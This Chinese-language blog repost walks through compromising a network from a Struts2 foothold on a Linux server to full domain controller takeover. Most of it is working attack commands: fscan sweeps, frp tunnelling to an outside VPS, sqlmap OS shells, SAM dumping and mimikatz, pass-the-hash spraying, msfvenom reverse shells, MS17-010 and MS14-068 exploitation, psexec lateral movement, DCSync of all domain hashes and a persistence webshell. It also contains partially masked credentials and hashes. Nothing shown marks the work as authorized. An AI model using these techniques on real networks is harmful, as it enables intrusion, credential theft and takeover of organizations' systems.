查看原文
其他

实战|记一次从linux打进域控

乌雲安全 2023-03-04

The following article is from 安全小子大杂烩 Author hl666

记一次从linux打进域控

前言:

这个周的话比较忙,就简单复盘一次之前从linux打进域控所涉及的内容,整体来说比较容易理解,从信息收集到权限维持都有所涉及。

getshell:

通过s2漏洞拿下一个口子,这里怎么看是s2搭建的网站,一个是直接看网站后缀是否是action,另一个是可以对登陆处进行抓包,查看数据包后缀是否包含.action.

这里的话就直接s2一把梭哈。

image-20230219225518896

成功拿到权限,这里还是一样上传木马来进行权限维持,至于怎么上传前面文章有讲到过。

image-20230219211710691

这里成功上传木马。

image-20230219212603213

信息收集:

我们对该linux进行简单的信息收集,通过翻看历史记录,数据库文件等获得了几条有效密码:

kartxx/karxx
root/root
xxadmin/xx@m453

利用fscan扫描该网段:

image-20230219212659887
./fscan -h 192.168.1.126/16
./fscan -h 192.168.1.126/16 -m netbios

可以看到ip地址比较多,这里利用某位师傅(记不太清了)的fscan提取脚本将结果进行整理。

image-20230219211810059
python fscan.py -i result.txt -o resu.txt

该脚本可以对fscan扫描的结果进行整理,整理得到如下结果,可以发现可以利用的点不多。

image-20230219213032789

但是通过上面扫描结果我们得知该环境存在域环境:

image-20230220094629422

解析在着重对这个域进行渗透,我们前期扫到了一个mysql密码,然后发现这台主机又在域内,所以我们先利用他来做一个域信息收集:

image-20230219213218437

frp代理:

为了方便,我们这里将linux的流量代理出来:

在这里我遇到了一个问题,目标主机出网,并且还能ping通我,但是我代理的时候出现连接拒绝。原因是这台主机限制了端口出网,然后我用fscan扫描该主机,发现8080,8443开着web服务。于是frp的配置文件如下:

image-20230219214100471

frps.ini:

[common]
bind_port = 8080

frpc.ini:

[common]
server_addr = vps地址
server_port = 8080

tcp_mux = true
[plugin_socks5]
type = tcp
remote_port = 8443
plugin = socks5
image-20230219214801266

成功将socks流量代理出来:

域内信息收集:

连接mysql:

proxychains sqlmap -d "mysql://root:root@192.168.1.138:3306/mysql" --os-shell --random-agent
image-20230219214940224
net group "domain admins" /domain  #查询域管
net group "Domain Controllers" /domain  #查询域控
img
image-20230219215019508

域控地址:

AD-server  192.168.1.5
star       192.168.1.6

这里我登陆了他的3389,这里我导出他的注册表,然后拖回本地进行密码读取。

登陆的时候勾选上该配置,不然不能够进行粘贴复制。

image-20230220095001280
reg save hklm\sam sam.hive
reg save hklm\system system.hive

这里成功的导出了该文件:

image-20230220095128277

拖到本地利用mimikatz执行:

lsadump::sam /sam:sam.hive /system:system.hive

读取到了管理员的hahs值:

administrator/541ae40b283303b382a1ffxxxxx

然后利用fscan扫描445端口并将ip提权出来做一个pth攻击:

fscan -h 192.168.1.0/16 -p 445

tiqu.py:

import re
import os
import sys

if sys.argv[1]=="-ii":
    text = open(sys.argv[2], 'r', encoding='UTF-8')
    for i in text:
        ii=i.strip("\n")
        obj=re.compile(r'(?P<url>.*?):'+sys.argv[3]+'\s+open',re.S)
        resu=obj.finditer(ii)
        for it in resu:
            result = it.group("url")
            print(result)
            with open("port.txt", "a+") as f:
                f.write(result + '\n')
                f.close()
python tiqu.py -ii resu.txt 445
image-20230220095534027

直接进行密码喷洒:

proxychains crackmapexec smb port.txt administrator -H 541ae40b283303b382axxxxxx

没有爆出来域用户,只有两个工作组:

192.168.1.31    445    PAYROLL          [+] Payroll\administrator 
192.168.1.18    445    WIN-69GHL7TASOE  [+] WIN-69GHL7TASOE\administrator

打ms17010:

上线msf:

这里我生成马子的端口是443端口:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f elf > m.elf

msf监听上线:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 8080
run
image-20230219215405960

fscan扫描得到了几台ms17010:

[+] 192.168.1.6 MS17-010 (Windows Server 2008 R2 Standard 7601 
[+] 192.168.6.123 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.5.112 has DOUBLEPULSAR SMB IMPLANT
[+] 192.168.5.110 has DOUBLEPULSAR SMB IMPLANT

添加路由:

run autoroute -s 192.168.1.0/16

前面已经将流量代理出来了;

利用exe脚本打ms17010,结合网上bat脚本来打:

check.bat 192.168.5.110
image-20230219215604679

msf生成64为dll文件:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=10012 -f dll >64.dll

将改dll文件放到脚本目录下直接打过去

attack.bat 192.168.5.110 x64 64.dll

msf收到会话:

img

利用mimikatz抓取密码:

load kiwi
kiwi_cmd sekurlsa::logonpasswords

获取如下密码:

xxxhistn:xxxx@123456
Admin:1000:aad3b435b51404eeaxxxxxxx:3dbde697d71690a769204bxxxxxxx:::
Administrator:500:aad3b435b51404eeaxxxxxx:541ae40b283303b382a1xxxxx:::

ms14-068打域控:

至于怎么打域控,方法就比较多了,这里使用ms14-068来打:

PS:以后的话会多使用非无脑漏洞的打法,前期的话还是多熟悉这些常规漏洞使用。

生成一个票据:

proxychains python2 ms14-068.py -u 域用户@域名称 -p 密码 -s 域用户sid值 -d 192.168.1.6

利用mimikatz将票据注入内存:

kiwi_cmd "kerberos::ptc 1.ccache"
image-20230219220138563

访问域控:

dir \\192.168.1.6\c$
image-20230219225932487

将会话弹到cs:

该主机出网,直接上传木马将该机器上线到msf,然后我做了一个进程注入以防止木马掉线

PS: 这里的进程没有域管理员进程,如果有的话就可以直接空密码与域控建立ipc连接了,这样上线域控就更简单了。

image-20230219220258427
image-20230219220419344

前面建立了ipc链接,这里就直接上线域控了:

设置一个中转监听器:

image-20230219220517443

直接上线两个域控:

jump psexec 192.168.1.5 smb
jump psexec 192.168.1.6 smb
image-20230219220555868

至此,域控全部上线。

mimikatzdump密码:

mimikatz lsadump::dcsync /domain:xxxxxftware.com /all /csv

通过翻域控文件,或得到了大量的邮箱和密码:

image-20230219220839451

每个邮箱对应每个域用户的账号和密码。

权限维持:

这里就在域控网站根目录留了一个木马。

image-20230219221024254

收集主机信息:

proxychains python3 dnsdump.py -u "xxxxx.com\administrator" -p 12345 192.168.1.6 -r
image-20230219221158706

到这里,这个域的几百台主机算是拿下了

查看spn:

Setspn -Q */*

这能够帮我们梳理一下域内的机器服务,比如我们需要知道那些机器上面有exchange,mssql等,可以通过spn扫描来发掘一些有价值的机器。

image-20230220102044607

后续:

前面讲到信息收集,仔细查看fscan扫描的结果,会发现有一个主机存在多个网段:

image-20230219221451289

直接连接109上去看一下是否存在多个网段:

image-20230219221536415

的确存在多个网段,然后在对比上面的域内主机信息会发现172根本就不再域内:

image-20230219221644594

最后再查看域控的网络连接行为:

image-20230219221752083

发现域控正好与上面两个网段有着关联,所以后面的就是对172进行渗透。

很多时候拿到域控不代表就结束了,一方面要查看域控的网络连接行为,另一方面要熟悉这个域控的组织结构,比如有哪些组织或者部门在这个域里面,对特定的目标进行横向会挖掘到更大的价值。

比如我可以查看域组织结构:

dsquery ou
image-20230220102216889

清楚这些组织结构之后就可以对特定的组织或者部门进行更大价值的挖掘。比如运维部门等公司的核心部门。

后面的内容过段时间更新。

另外本文涉及的脚本在公众号后台回复20230219获取。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存